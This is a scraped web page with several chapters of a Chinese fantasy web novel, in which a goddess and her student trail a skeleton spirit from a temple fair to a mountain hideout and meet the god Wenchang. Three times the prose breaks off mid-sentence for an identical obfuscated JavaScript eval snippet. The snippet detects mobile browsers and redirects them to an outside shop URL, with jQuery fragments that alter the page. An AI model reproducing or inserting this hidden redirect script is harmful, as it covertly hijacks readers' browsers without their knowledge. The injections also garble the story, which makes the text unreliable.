璃音拉了瑶光过来,看了一会儿,跟着喝彩了一回,一瞥眼见着“三仙庙”这三个大字的金字大牌匾,不禁好奇起来:也不知这庙里供奉的究竟是哪三位大仙?后羿神君肯定要算一个,另外二仙却不知会是哪二位仙人。 这么想着,便撇下了社火,拉上摇光,一起逛进了庙中大殿。 大殿中央果然供奉着好大一尊后羿金像,眼似铜铃,身若金刚,手持一把落日神弓,威猛非常。 往右边一看,丹凤眼,卧蚕眉,金塑的雕像虽看不出红脸,但看那快拖到地上的长髯,再加手上一把威名赫赫的青龙偃月刀,无疑供的是关公大帝了。 再往左看,璃音却是一愣:“这个不是文昌帝君?” 摇光神色不明地点头:“是他。” 那塑像儒巾长袍,文雅端庄,左手捧一册书卷,右手握一支粗杆大毛笔,不是文昌帝君却是谁? 但转念一想,也确实再正常不过:龙溪村地处峡谷,农耕不济,村中人若想长点出息,一等从儒,二等从商,故而进这庙里,不是求进学做官,就是求行商顺利,这“文武二圣”一文一武,一个保功名富贵,一个保平安发财,供在这里再合适也没有了。 璃音一转头,就见摇光眯眼紧盯着文昌帝君的金身塑像,眸光闪动,若有所思,甚至还透着一股蠢蠢欲动。 他这是什么表情?天宫中总传闻摇光星君与文昌帝君多年好友,好到就像秤不离砣,难道他们…… 她的胡思乱想还没来得及发散,就见摇光附耳过来,压低声音道:“老师,这个算是熟人,他的金像可以撬么?” ……合着你这是看上了人家金子打的塑像,要撬人家的金身当钱花? 说来也是有趣,这位帝君的金身在这里接受香火供奉,本尊却在隔壁望仙镇差点被人剁成肉酱,还作为油头粉面的奸夫,被一个老秀才画进了小黄书里,形象猥琐,貌似还很畅销。 想他最近过得也够折磨的了,就别再折腾人家的金身了吧。 于是璃音指向大殿右边的一个次间,默默转移话题:“不是三仙庙么,怎么那里面还供着三尊小像,这不成了六仙了?” 旁边一个书生模样的人刚拜完文昌,闻言向璃音笑道:“姑娘是外乡来的吧,这个大的主间是三仙殿,供的是天上的三仙,那边小的次间是三仙堂,供的是地上的三位土地仙,我们叫做地三仙。” 璃音点点头,神情有些古怪。 待那书生走远了,摇光看她脸色不对,十分警觉地发问:“怎么了?老师可是察觉出哪里不对?” “哦,那倒不是。”璃音摇头,去乾坤袋里掏出一条炸鱼干塞进嘴里,“就是听着怪有食欲的。” 说着走出大殿,璃音看着庙前熙熙攘攘摆摊的小贩,嚼着小鱼干暗想:如果是我,一定不卖什么字画,就在庙门口支两口大锅,一锅煮三鲜汤,一锅炒地三鲜,保管生意兴隆。 又往前走两步,正巧逛到廉秀才的摊子,摊前站了不少买书挑画的客人,尤其那本《楚燕偷春》,几乎人手一本,果然畅销。 廉秀才一边呵呵数着银子,一边喊道:“要买的赶紧了!卖完这一摊,今年再要可就没了!” 摊前一个矮个子客人惊道:“怎么就没了,廉先生你要封笔啦?” 另一个高瘦的客人道:“今年乡试年,廉秀才,你这是又要去考啊?” 那矮个子笑道:“原来如此,那肯定是要去考的。” 忽然一个身穿红裙,头戴帷帘的女子,随手翻着摊上一本《藩青莲药鸩武太郎》,声如银铃般笑道:“摊主也是好封笔的了,这系列自从川公子开始画了,谁还来买你的,这本怕不是落了五年灰,还没卖出去的吧?” 廉秀才一听这话,登时就要开口怒斥,一抬眼,却见对方身姿婀娜,正是来的路上把他看呆了的那个曼妙女子。 被自己偷偷肖想过的姑娘讥讽,那杀伤力更是远超路人百倍,他其实早已憋红了一张脸,却仍故作淡然地冷笑道:“川公子?他怕是再也画不出来了。” 那高瘦的道:“怎么,川公子宣布封笔了?” 那矮个子原来是廉先生坚实的拥趸,当即拍腿叫好:“封得好!那个什么川公子,画到后来,居然让藩青莲领着一帮女的,隐居到山里逍遥快活去了,简直岂有此理!还得是廉先生画得好。” 那红衣女子冷笑道:“他那是老婆跟人跑了,专爱画些女子被剖心挖肝的场面来泄愤呢。” 廉秀才还未说话,那矮个子竟比自己被骂了还要激动,立马粗红了脖子,抢着说道:“我们看的是爷们之间义薄云天,你个小娘们懂什么!” 那红衣女子也不恼,嘻嘻笑道:“原来只许你们爷们帮杀老婆义薄云天,那我们姑娘之间情比金坚,帮着毒死几个没用的丑老公,带她去过快活日子,怎么不见你来歌颂歌颂?莫非你就是那种没用的丑老公,川公子这么一画,你是生怕你老婆买回家看了,半夜睡都睡不着了吧。” “你!你!你!” 那矮个子怒伸着一根指头,对着那红衣女子“你”了半天,最终只憋出三个字来:“你放屁!” 那红衣女子哈哈一笑,丢下手里那本《藩青莲药鸩武太郎》,扬长而去。 璃音看着她一步一扭,尽情向周围人展示着自己细软腰肢的背影,一点儿不觉风尘,反觉从未见过如此洒脱的女子。 只是对她的那种熟悉又陌生的感觉,依旧在璃音心头萦绕不去,也依旧找不到解释。 这时旁边一阵锣鼓敲得震天响,原来是那边社火演到后羿射日的高潮戏码了。 璃音还兀自沉浸在那红衣女子的背影里面,就听摇光指着那边高台在耳边喊她:“老师,你看。” 璃音转头看去,就见高台上一人扮作后羿,拽满了弓弦,就向一个扮成金乌小太阳的小孩射去。那箭来势劲疾,直射小孩背心,小孩一面往前飞跑,一面不住地回头张望,见那箭射来,头向后望,脚下往前不停,身子向侧旁疾扭,小小的身躯便仿佛分作了三截,三截向着三个不同的方向,这个姿势…… 璃音飞速地与摇光交换了一个眼神,轻呼:“是它!” 这个姿势,可不就与揽华公主床头那个神秘小鬼的体态一模一样! “小七,你还记不记得那个守 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591390|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桥的高大哥说过,说后羿神君一连射了九个太阳,有一个就落在望仙镇上,所以那里四季颠倒,四月板栗就熟了,比八月还热。” “老师是想说,皇城里的大旱,恐怕与公主床头那只小鬼有关么?” 那小鬼的身形扭曲怪异,璃音当初把他当做荀满,自然就以为他是遭了马蹄强踢,以至骨骼错位,但眼下看了台上这出《后羿射日》,她心底渐渐冒出一个疯狂的想法:揽华公主床头那只小鬼,当年会不会就是这样扭身躲避背后刺来的凶器而死的呢?更有甚者,他会不会就是当年被后羿射下的那九个金乌太阳中的一个呢? 这个猜想十分大胆,但并非没有可能。 否则何以感应到人类游魂则必有响动的引魂铃在碰上他时,不会示警。 又何以一个小鬼,能够轻易逃脱摇光布下的星罗棋布大阵。 甚至如今想来,上一世的皇城大旱,其实也颇有蹊跷之处,当时她见旱情属实,便请了雨神过去降雨,但凡间旱灾,一般数日大雨即可缓解,而那次的雨却整整下了三个多月,就好像城内藏了个浇扑不灭的火种一般。 但如果真是藏了一个太阳的游魂,那这一切就都说得通了。 只是尚有一个疑问。 “小七,你说为何当时昭宁皇帝和揽华都口口声声认定,那个小鬼就是来寻仇的荀满呢?” 荀满的游魂被马道长拘走,根本从未离开过望仙镇,更别提出现在万里之遥的皇宫之内了。况且真正的荀满又与那个小鬼的长相完全对不上号,却何以皇帝和公主都接连认错? 摇光微一沉吟,道:“我在战场上伤过的许多妖魔,我都记不得他们的长相,但如果路遇小妖,见我就杀,我应该会认为那是其中一个来找我寻仇的。” 璃音一下子就听明白了他话中之意,不由得心间一颤:是啊,当年她狂性大发,杀尽虞家村七百一十四口人,又何曾记得他们之中任何一个人的长相了?但当梦魇来临之际,她根本无需核对什么长相,她自然知道是他们来梦里找她了。 揽华公主虽然娇纵,但心地其实并不坏,此前也从未闹出过什么人命官司,望仙桥上那一场意外来得突然,惊马狂奔,她又急又怕,匆匆一瞥之下,估计根本就没瞧清荀满长什么样子,回到宫中,床头立刻冒出来这样一个夜哭啼哭的小鬼,她自觉做了亏心事,自然而然就会把它当做是荀满的鬼魂了。 璃音越想越笃定那小鬼就是当年被后羿射杀的金乌之一,但又有一点却无论如何也想不通:“可若是如此,揽华公主便与它无冤无仇了,那它又为什么那么巧就在公主回宫后出现,又要每晚都坐去她床头哭呢?” 摇光也只是摇头:“学生不知,或许我们应该再回去宫中看看。” 话音刚落,忽听得台下看戏的人群里面传来一声尖叫:“骨……骨……” 那人似是受到了极大的惊吓,话没说完,就眼珠一翻,晕了过去。 接着戏台下惊叫之声四起,众人都纷纷从长凳上跳了起来,大睁着双目四下逃窜,台上几个扮戏的也是吓得连破音带跑调,又滚又爬地都躲去了台子后面。 待高台之下众人散尽,锣鼓声歇,一条条被碰得七倒八歪的凳子之中,却有一个身影始终静坐不动。 或者不该说是一个身影,而该说是一具白骨,一具完整的,坐姿优雅的,安静听戏的白骨。 33. 第32章 春日萤火 直到高台上下的人都散尽,那具白骨才后知后觉地抬起手来,向着自己脸上摸去,五根指骨嗒地一声拍在骷髅颊边,它动作顿了一顿,似是有些意兴阑珊,便慢慢从凳子上站了起来,转身欲走。 街上的人群早已扯着嗓子喊成一片,虞宛初和虞宛言当即飞赶上前,长剑出鞘,横在身前,把乱作一锅粥的村民都护去了身后。 璃音右手已然暗自叩印,却迟迟没有催动腕间的引魂铃。 摇光也已将破军握在了手中。 只是那白骨虽形貌阴森可怖,举止却娴雅端方,看来并无伤人之意,故而他们一时都没有妄动。 那骨灵转一转头骨,两个黑洞充当的眼睛竟似有神,缓缓往人群里逡巡着,仿佛正在寻找什么人。 “姐姐,快走。”忽然人群中冲出一个头戴帷帽的红衣少女,她将另一顶帷帽往那骷髅头上一按,就拉上那白骨硌人的骨头爪子,急急要往外跑。 一个活人竟与一具白骨如此亲密,人群中立刻有人惊呼:“姑娘,快快走远些,那个骨头是妖怪!你去拉那妖怪作甚!” 立马有另一个声音叫道:“你傻吗,那女的分明和那骨头是一伙的,她们两个都是妖怪!” 虞宛言长剑一抖,就要追上那具白骨,却被虞宛初按了下来,冲他轻轻摇了摇头,她拉着弟弟去找璃音和摇光会合了,才道:“夏姑娘,我瞧那骨灵似乎无意伤人,我们不如悄悄跟了上去,静观其变,再做计较。” 璃音本也是如此打算,眼下要将那骨灵拦下制服,自是易如反掌,但万一她如同当初的姚彩秀一般,拼死不言,自毁魂魄,那可就糟糕了。村中大批尸骨被盗,作祟的骨灵绝不止她一个,倒不若尾随跟上,看她逃去何处,运气好的话,兴许还能找出那群骨灵的老窝。 她于是点头:“就听虞姐姐的。” 当即催动腕间玄铃。 叮铃——叮铃—— 铃音清脆,玄光闪动,大团光晕将四个人都包裹其中,再黯下时,在众人眼中,他们四人都已然不见了身影。 那白骨被红衣少女拉扯着奔走,却仍旧不停回头,向人群中张望着,突然一个瞬间,她像是终于确认了什么,脚下稍稍一滞,便就迅速扭回头去,步子加快,再没回头地与那红衣少女一起跑远了。 璃音用玄铃替四人都隐去了身形,不紧不慢地在那一人一骨身后跟着。 追了一阵,似乎渐渐往山路上去了。 摇光看着她们一路紧握的双手,忽道:“那红衣服的是什么来路?” 璃音想了想,道:“或许是与那骨灵生前很要好的人吧。” 又或许是像马道长那样另有所图的活无常,但看那红衣少女对那骨灵掩饰不住的关切之情,实在不像是要拘她去当牛做马的。 那骨灵看起来对那少女也是信任依赖至极,像是极亲的亲人。 正想着,只听虞宛初道:“也许是无论如何也割舍不下的亲人,所以哪怕是以这种方式,也要将她留住。” 璃音沉默片刻,忽然幽幽地道:“可是像这样以后都只能附着在别人的尸骨上面,出门要带帷帽,去庙会听一场戏都不能尽兴,到哪里都只能遮遮掩掩地活着,也害得亲人提心受累,若是我,倒是宁可死干净了。” 她这话说的是认真的。 她在月牢可有可无呆着的三百年里,并不是没有想过自我了断,也不是不晓得月牢深处就有一口可供她一了百了的轮回井。 其实在刚被关进月牢的时候,她曾经逃出去过一次。 那时她根本不清楚发生了什么,只知道昆仑失陷,她单枪匹马追杀逃逸的鬼王,一路追到了虞家村,就在那里与鬼王斗到力竭,却全然不知自己已然失心入狂。 再醒来时,她就只看到商止师兄满脸的惊怒沉痛,而商月在一旁不停恳求,说着一些“不要把这事告诉其他人”、“就当人是我杀的”之类的话,她就隐隐察觉到自己应是闯祸了,而且这个祸闯得绝对不小。 但她尚未来得及搞清楚自己究竟闯了什么祸,就已经被商月藏进了月牢。 她彼时一无所知,只能看着他强颜欢笑,将她抱紧,轻抚着她的头发安慰:“没事的,阿横,我已经收走了你的玉横和引魂铃,我不会再让你犯错,但你别怕,你终归还有我,我早晚会帮你摆平这一切,你只需要乖乖的呆在这里,等这些事情过去,等我接你出来。 但她不喜欢这样的一无所知。 她更不喜欢不经审判,就被稀里糊涂关进这样一座牢房里面,不管她犯了多么可怕的错,她都有权利接受属于自己的审判。 她趴在那株月桂树上,潜心琢磨数月,终于破除了月牢结界,在那年月亮最圆最亮时的中秋之夜,成功逃了出去。 那日在虞家村她到底做了什么,她打算溜去找商月质问个明白。 正值中秋,终日清冷的月宫里难得众仙齐聚,一片欢腾,她东躲西藏、鬼鬼祟祟地行了一路,还未走到商月的浮霁殿,就已把关于自己的所有丑事都听了个明白彻底。 整个月宫上下,没有人不在议论她。 并且用的都绝不是什么好词。 她也终于知道,商月是如何践行他那句“我早晚会帮你摆平这一切”的了。 原来他出面顶了她所有的罪孽,一口咬定虞家村的那些人都是他杀的。 但虞家村的那些尸首浑身不见血,却一个个魂飞魄散,分明都是死于极厉害的魂术,他是月宫宫主亲子,一把浮光剑乃是宫主亲传,谁人不知他是使剑的? 他于感情一事上又惯来高调,去各大洞府中为她讨来的奇珍异宝不计其数,众仙都知晓他有个极宠爱的小仙子,而那小仙子就是个专修魂术的,如今她忽然失踪,他一个练剑的却莫名站出来,非说人是自己杀的,傻子都瞧得出是怎么一回事了。 月宫中许多仙君都在偷偷笑他的迂,笑他一腔深情错付,被一个魔女耍得团团转。 将这些刺耳的真相听了一路,璃音早已听得全身血液凉透,当她终于浑浑噩噩地走到浮霁殿,看到那一身白裳、风光霁月的身影推着商止师兄的轮椅走过时,她竟怵了脚步,一个闪身,躲去了廊柱后面。 她还有什么脸面再去见他? 她之前竟还想着要来质问他,当真可笑至极! 然后她就听见了他和商止师兄的那番对话。 “你什么都不与她说,就这样将她藏起来,你为她费的这些心思,她全然不知,恐怕还要怨你恨你,太也不值。何况你这一出顶罪的说辞又有几个人信,反成了那帮碎嘴口中的天宫头号痴情大傻子,又是何必。” “昆仑已是无人了,除了我,还有谁能护着她?兄长也是疼阿横的,否则那天兄长亲睹了一切,又怎会一直对外缄口不言。至于旁人现在怎么说,我都没什么所谓,我自有我的打算。” “你所谓的打算,就是故意言语乖张,行事暴戾,暗中修习魂术,打消众仙疑虑,好将自己的罪名坐实,把自己打造成一个合格的魔头,去顶替掉她这个魔女么? “待我练好了玉横和引魂铃,便由不得他们不信。” “玉横认主,岂是你练就能练好的。再说依阿横的性子,即便躲过了这一次,待她知道真相后,你要她如何再抬得起头来,又如何再来面对你?” “我管不了这么多了,兄长,你是知道我的,如果她死了,我也活不了。” 两人说着已然走远,再往后的话,都只传来些模模糊糊的音调,再听不真切了。 璃音背靠廊柱,浑身止不住地发抖,整个人像是被封在了一条冰河之下,无论她如何向上游动,触手都只是一整块坚冷寒冰,她知道,她此生都只能活在这片冰面之下,活在这彻骨冻寒的冷水之中,再也上不了岸了。 她那时已成功逃出了月牢,她大可趁此机会逃走,彻底逃离月宫,逃出九重天外,寻个深山,挖间洞府,别人是做逍遥散仙,她便可做一个快活散妖。 可若是她的狂化之症又再发作呢? 若是商月找不到她,以为她死了呢? “如果她死了,我也活不了。” 这本该是再温柔不过的一句情话。 然而于此时的璃音而言,却成了一句血淋淋的威胁。 她偷偷坐在浮霁殿的台阶上,抬头看了一会儿热闹的烟火,待它们燃尽,噼啪之声止歇,她擦擦眼泪,一个人静悄悄依着原路往回走,一路走回月牢,修补了结界,就趴回了那株月桂树上。 自那之后,她几乎日日都要去轮回井口张望一次,可每当她瞧着那云雾蒸腾而成的“轮回尽断,鬼神弗论”八个大字,耳边就要响起商月的那句“如果她死了,我也活不了”。 她是个该死之人。 亦是个苦苦寻死之人。 却是个死不掉的人。 她已经不是在为自己而活,却是怕害死了商月,再背负上一条那样无辜又无暇的性命,所以不得不逼迫自己活着。 这一生,怎么会活成这样的?但也只能活成这样了啊…… 她就躺在那株月桂的树杈子上,这样一日日地想着。 也因此当她见着眼前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603605|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这番一人一骨、一阴一阳,携手奔逃的景象,才会发出那样一段“宁可死了”的感慨。 摇光闻言,神色难辨地向她看了一眼,没有说话。 璃音知道他不赞同自己的想法,当初在帮揽华公主回魂时,两人便已经就此辩过了一次。 虞宛初却笑道:“夏姑娘说这样话,想必是世上还不曾有一个人让你留恋至深吧?若只有一方苦苦相留,另一方没甚所谓,确实总有勉强,但若她们对彼此都情义深重,双方无论如何也割舍不下,那么即便一方只能附他人白骨而生,这样的相伴虽然辛苦,焉知对她们而言就不是一种幸福?” 璃音侧头看她:“留恋至深的人?” 虞宛言在一旁冷笑:“阿姐,她是个没心肝的人,连亲爹的墓都能说要去挖,懂什么留恋至深。” “没心肝的人……留恋至深……” 璃音喃喃重复着这几个字,却是呆了一呆:前世有什么让我留恋至深的人么?留恋到无论以何种方式都要在这人间继续活下去。 好像……是没有的。 商月是对她很好,可正是因为他对她太好了,她对他与其说是留恋,不如说是一种“不敢辜负”,似乎稍有辜负,就该要遭天打雷劈。 她也留恋昆仑山上十位神巫对自己的严格教导,留恋师兄师姐们的嬉笑打闹,留恋他们对自己的慈爱。 可这些人反而更让她想要去死了。他们都是守护昆仑的大英雄,而她是什么东西?凭什么还腆着脸在这里活着。 从来没有那样特定的一个人,让她无比坚定地想要活下去。 她不过一个玉石重雕的假人,什么心肝脏骨,早已不知烂在哪块土里了,说她没有心肝,又有什么错? 于是她自嘲地笑了一笑,难得的没有去呛虞宛言,而是说:“你说得没错,我就是一个没心肝的人。” 虞宛初横剑在弟弟背上拍了一下,惩戒的意味甚浓:“阿言向来不会讲话,夏姑娘别往心里去。” 虞宛言不甘心挨打,但又不敢违拗阿姐,只好阴沉着脸,闭了嘴,一声不吭,只把脚下的步子越跺越重。 璃音心说我都是个没心肝的人了,还能往哪颗心里去? 摇光在这个话题上始终保持着沉默,这时忽然探手向身边一拢,掌心升起一片熠熠星光,然后摊开掌心,伸去了璃音眼前。 他掌上小小的一片星子相连,清光闪耀,仿佛拢着一小把银河,很是漂亮。 “怎么了?慕公子是不是发现什么了?”虞宛言跺着脚凑过头来,还以为摇光在展现关于骨灵的什么重要线索,但他仔细瞧了半天,却只瞧了个一头雾水。 璃音却伸出手,戳了戳摇光掌心一颗闪着光在飞的小“星星”,惊喜道:“萤火虫!” 此处气候奇异,竟在四月便有萤火虫了。 摇光轻笑着点头,也不多留它在掌心,轻轻挥一挥手,小小的萤火虫便又隐入了春夜。 “萤火虫怎么了?”虞宛言仍旧不解。 摇光声音轻飘飘地道:“没什么,只是春日萤火罕见,略觉有趣,便随手抓来看一看罢了。” 虞宛言:“……” 他心下佩服:不愧是经历过无数大风浪的北斗第七神君,这会儿正跟踪着一具白骨呢,还有心思抓萤火虫玩。 他又撇头瞧了一眼身旁的璃音,他确实不喜欢这个姑娘,尤其是阿姐看来很喜欢她,还好几次为了她责备自己,他就更不喜欢她了! 这个坏女人,她休想从他身边把阿姐抢走! 但看她方才分明还是一副郁郁的神色,似乎对于自己的没心肝总算有所反省,但这会儿不过瞧了一只萤火虫,就又没心没肺起来了,也伸了手在空中乱抓,却没抓着萤火虫,而是抓住了一只大扑棱蛾子,她倒反而比抓到了萤火虫还开心似的,咯咯笑了起来。 璃音笑着放走被她捏在指尖挣扎的那只大扑棱蛾子。 她虽没有留恋至深的人,可她却留恋这世间的红花绿草,蝴蝶扇翅,留恋各色果子糕饼,烤鱼蒸蟹,留恋月桂浓郁的花香,甚至留恋清晨叶子上的一滴露水…… 这些都曾让她生出过无数贪心,让她即便知晓自己罪恶满盈,也贪心地想要再多活一活。 想到这里,她不禁侧头望了望摇光,而那人却只是神色如常、漫不经心地走着,仿佛方才捉来那只萤火虫,果真只是这位神君的一时兴起,随性而为。 她默默收回目光,不再看他。 这时虞宛初忽然停下步子,指着前面说道:“夏姑娘,她们好像要上伏龙山了。” 34. 第33章 线条人 伏龙山,据守桥人老高所说,是因后羿神君在此山上诛灭魔龙而得名的。 本来民间的这些传说,一代代口口相传,总是越传越走样,传到后来,早就是骡子传成大马蜂,虚实参半,当不得真了。 但有了先前射日小鬼那一遭相验,璃音开始认真觉得,这山里真躺着一条上古真龙的尸骨也未可知了。 四人悄悄尾随那一人一骨,一路爬上伏龙山,就快要追至山顶时,忽听得咕噜噜——咕噜噜——几声遥响,像是某种体型巨大的猛兽正压着喉咙发出低吼,不断自山中密林深处传来。 这种深山老林里面,有些猛虎野兽原也寻常,不过此时天色已是大暗,只一轮残月照在山凹里,夜风把树叶吹得嗖嗖乱响,让这不知何处而来的兽吼之声听来更多了几分悚然。 虞宛言当即手按剑柄,抢步走去了阿姐前面。 璃音指尖绿光泛起,凌空疾划,转瞬便在四人身前画出一个青芒烁动的护身大阵,她屈指轻轻一弹,便如弹中一张脆纸一般,那巨大的符阵立时裂作四个一模一样的圆形小阵,她窄袖轻挥,将那四个小阵一齐挥落在地,阵法一触着地面,便宛如活物般游动,各寻了一人的足底吸附而上,绿光幽幽,绕旋流转,紧随四人前行的步伐,安静地转动着。 林中吼声不停断续传来,不光是他们有所警惕,前方那一人一骨也停下脚步,往四下里警惕张望着,明显不安起来。 突然山间一声怒吼宛似龙啸,璃音忽觉身子站立不稳,脚下一阵摇晃,周身几处山石滚落,竟是整座伏龙山都微微震颤起来。 四人对望一眼,虞家姐弟已是手捏剑诀,横剑当胸,一旦山体崩塌,便随时准备御剑而上。 前方那红衣少女低声去骨灵耳边说了句什么,便把帷帽一扔,伸手抓住自己头顶一把随云髻,嘶啦一扯,往后用力一掀,那发髻连着下面那张娇俏的面容,竟揭出一张“皮”来,那“皮”揭开之处,不见一丝血肉,就直接露出森森然的一个骷髅! 此刻眼前两幅骷髅白骨,脚下一片地动山摇,摇光却仍旧神态自若,瞧上去甚至比方才捉萤火虫时还悠然几分,他极轻极浅地笑道:“看来你们那一番有没有心肝的争论是白费了,那两个没有一个是活的。” 那“皮”脱离了骨架之后,整副白骨便轰然倒地,而那张“皮”竟又化作一个不到三寸的小人,眉目依旧,手脚俱全,就连那精心挽着的随云髻都丝毫未变,只是整个人便似被一个巴掌拍扁了一般,竟只有薄薄的一片。 便如一条美人蛇蜕皮,只是蜕皮后旧皮成了新人,旧人却成了白骨,虞宛言看着这一幕,奇道:“那是什么东西……人皮吗?难道她是皮影人?” “好像更像是纸人。”虞宛初看了一会儿,不确定地摇头。 摇光更进一步补充:“像没了纸的纸人。” 其实说那被揭下来的东西是“皮”,本就不够准确,但又实在难以确切描述那是一种什么样材质的东西,它更像是一张“纸”,一张薄到完全透明的、以至于像是人皮的纸。 但这也还不够全然相似。 那三寸小人五官灵动,张嘴皱眉无一不能,四肢行动处更是全无滞涩,竟像是脱离了纸张束缚似的,与那些走起路来同手同脚的僵硬纸人全然不同。 “线条人!”璃音想了又想,终于让她找到一个再合适不过的叫法。 这分明就像一个由一堆跳跃线条勾勒而成的线条小人,能蹦能跳,能说能笑,栩栩如生,竟完全与真人无异。 红衣少女变作三寸长短的线条小人后,旁边那具白骨便也骤然坠地,显是附骨之魂已然离体,那线条小人左右一扭,灵活得就真如一团线条一般,把自己扭作弯弯曲曲的一条,如同一条滑溜溜的小泥鳅,左扭右拐,再往前嗖地一窜,她这线条身子既黑且细,在这黑黢黢的夜色中,竟就再难寻觅了。 跟丢了骨灵,璃音也不慌急,举目往不远处的山顶眺了一眺,果然望见一处寨门,当下对身边三人道:“老巢怕不是就在这儿了吧。” 这时脚下山震渐缓,似恶龙一般的咆哮声也慢慢听不到了,四人加快脚步,直入寨门。 虽是黑夜,仍看得见里面高高低低,盖满了琉璃瓦房,走进一个大院,院中花明柳媚,四处都是水磨的地砖、玉砌的阶级,朱红的栏杆,那砖头缝里黄澄澄的,凝目一看,竟全镶的是货真价实的黄金。 这等富丽堂皇,便说揽华公主的揽华殿,与此处一比,也是输了,而且输得彻彻底底。 但再往院子深处走两步,这一派富丽堂皇之中,就开始添入了种种阴森诡异。 那院子深处,竟整整齐齐停放着一排又一排的棺材,那些棺材或金或玉,甚至还有金上混镶着玉的,或是极上等的木材,便是公子王孙死后怕也没几个睡得上这么好的。 其上精雕细镂,有的刻凤,有的雕花,也有一副画着拙劣的人物涂鸦的,画上的人眼歪嘴斜,两腿一长一短,完全辨不出个人样,但这竟是棺主人的自画像,因为那旁边明明白白刻着一行奇丑无比的大字:就知道你在看我,老娘最美。 看到此处,四人都不禁失笑。因为他们确实不知不觉就都被这幅别具一格的棺上小画吸引住了目光。 这可当真是个妙人,哦不,是个妙鬼了。 打开棺材一看,每一副棺木里面,都端端正正躺着一具白骨,骨头均是瓷白透亮,像是被精心打理过,不沾一点腐臭污泥。 璃音望了望腕间那只无字铃铛,没有响动,也没有亮起,要么这寨子里真的空无一鬼,要么这里的鬼魂,都是有“屋舍”的。 但此处这些棺材里躺着的骨架,又分明都是“无主附身”的,难道适才那两只骨灵,并没有逃往这里? 虞宛言已绕过回廊,敲响了一间屋门,敲了半天,见无人应答,便将门推开,探头向里面张了一张,半晌,回头冲三人喊道:“屋里没人。” 璃音闭目凝神,将灵识外放,感受了下整个院子里的气息。 岂止是这一间屋里没人,这偌大的一个寨子里,竟都空无一人! 除了…… 她猛地睁眼,叩动腕间宙铃,身形一闪,原地消失,不过眨眼,便又在原地复现,只是手中拎小鸡一般提回了一个哎哟大叫的男子。 那男子身高腿长,却被璃音提了后领,两条腿都拖在地上,头上方巾歪斜,明显被她捉拿得猝不及防。 夜色茫茫,一片黑暗中瞧不清形貌,但此人在那密林之中躲躲闪闪,形迹十分可疑,璃音当即便揪他过来喝问:“何人在此鬼祟!” 那人大口喘着气,一手使劲替自己向前松着领口,以免被那后扯的力道勒死,一手还不忘扶正自己头上方巾,口中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612260|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告饶道:“仙子手下容情!你看清楚,是我呀,是我!都是同僚,咱们今早还在望仙镇酒楼见过的。” 说着拼命仰头,好叫璃音将自己瞧个真切。 那边摇光已经快要忍不住笑,只好装作咳嗽一声,强行将那笑意压了下去。 就着月光,璃音终于看清了那人样貌,她“啊”了一声,慌忙松手,抱歉道:“文昌帝君,不好意思啊,夜太黑,没能看清您的英姿。” 为表歉意,她还特意在句末拍了一句马屁。 不料她这松手松得太过突然,文昌本就半个身子被她凌空提着,这一松手,当即砰的一声,便害他臀骨砸地,摔了个结结实实的屁股墩。 “您没事吧?” 璃音正欲上前查看一下帝君的屁股,以确认其是否完好,就见摇光一把将文昌拉了起来,长腿一迈,大步向那间屋舍走去:“他没事,老师,我们进去看看吧。” 文昌甩开摇光的手,揉着自己红肿的屁股,讪笑道:“你们忙,我就先回了。” 说着转身就要开溜。 “心虚想跑?”摇光眼疾手快,长臂一伸,便学璃音的手法,提着后领将他拎了回来,“这里怕是和你脱不了干系吧?” “我有什么心虚,我对我的文昌星发誓,这地方我今天也是第一次来!”文昌连忙摇头,伸手指天,赌咒发誓。 这时虞宛初和虞宛言都已在屋内转完了一圈,璃音一进屋子,就见虞宛初捧了几本小书过来,示意她看。 璃音接过手来一看,见都是些与廉秀才所卖一般的连环画册,甚至有几本连标题都是一样的,比如那本据说卖得万分火热的《藩青莲药鸩武太郎》。 但落款却都是另一个人:公子川。 “夏姑娘,你可识得此人么?”虞宛初指着封皮上的落款,蹙眉,“这间屋里摆的全是这位公子川的字画书册,我和阿言都不曾听说过这样一号人物。” 这名字璃音是有印象的,在廉秀才的字画摊前,为着这公子川给藩青莲画的结局过于标新立异,不还惹得一个矮个子客人不满,和那红衣少女吵了一架么? 她翻看着那本《藩青莲药鸩武太郎》,摇头:“倒是在庙会上听人提起过,似乎与廉先生一样,都卖些字画故事,但我并不认得此人。” 公子川画中的藩青莲是个什么结局来着? 想到此处,璃音忙把手中书册翻到最后一页。 摇光便顺手拿过剩下那几本,将封面标题都一一看过,忽然向文昌投去一眼,说道:“这位公子川,却没画那本《楚燕偷春》么?” 文昌猛地抬眼:“她的事,有人画来卖了?” 